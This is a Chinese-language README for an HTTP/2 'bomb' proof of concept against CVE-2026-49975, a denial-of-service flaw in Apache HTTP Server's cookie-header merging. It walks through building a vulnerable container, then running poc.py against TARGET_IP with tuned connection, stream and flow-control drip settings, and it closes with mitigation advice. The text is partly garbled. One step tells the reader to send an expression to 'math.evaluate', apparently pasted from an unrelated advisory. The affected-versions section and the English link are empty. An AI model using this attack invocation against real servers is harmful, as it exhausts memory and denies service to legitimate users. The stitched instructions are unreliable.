CVE-2026-49975 HTTP/2 炸弹

★ CVE-2026-49975 HTTP/2 炸弹 PoC ★

https://github.com/user-attachments/assets/89310771-f704-45d1-a6c3-d910de1dbc74

概述

CVE-2026-49975 是 Apache HTTP Server 中的一个 拒绝服务（DoS） 漏洞。 该漏洞出现在 HTTP/2 请求处理路径中，多个 cookie 头部字段可能被合并，而未被正确计入 LimitRequestFields 限制。 通过发送一个经过 HPACK 编码的小型 HTTP/2 请求，该请求可扩展出大量 cookie 头部字段，攻击者可强制服务器在 Cookie 头部合并过程中重复分配内存。 攻击者随后可利用 HTTP/2 流控制延迟响应传输，使受影响的流保持打开状态，阻止已分配的内存被释放。

受影响版本

影响

• 远程拒绝服务（DoS）
• 内存过度消耗
• 正常用户请求处理延迟或失败

环境

构建并运行存在漏洞的 Apache HTTP Server 环境。

docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

PoC

启动存在漏洞的环境后，按照以下步骤重现攻击。

步骤 1. 监控服务器内存使用情况

docker stats cve-2026-49975

输出示例：

CONTAINER ID   NAME             CPU %   MEM USAGE / LIMIT     MEM %
xxxxxxxxxxxx   cve-2026-49975   0.5%    35.2MiB / 8.0GiB      1.7%

步骤 2. 运行 HTTP/2 炸弹 PoC

将以下表达式发送至 math.evaluate（例如，通过应用程序的计算输入）。

python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

步骤 3. 确认结果

检查 Apache 容器的内存使用量是否增加，并在攻击流保持打开期间保持高位。

缓解措施

• 将 Apache HTTP Server 升级至 2.4.68 或更高版本
• 如果服务不需要 HTTP/2，可考虑暂时禁用它

分析

• 韩文：https://www.skshieldus.com/security-insights/reports/eqst-apache-http2-dos-cve-2026-49975
• 英文：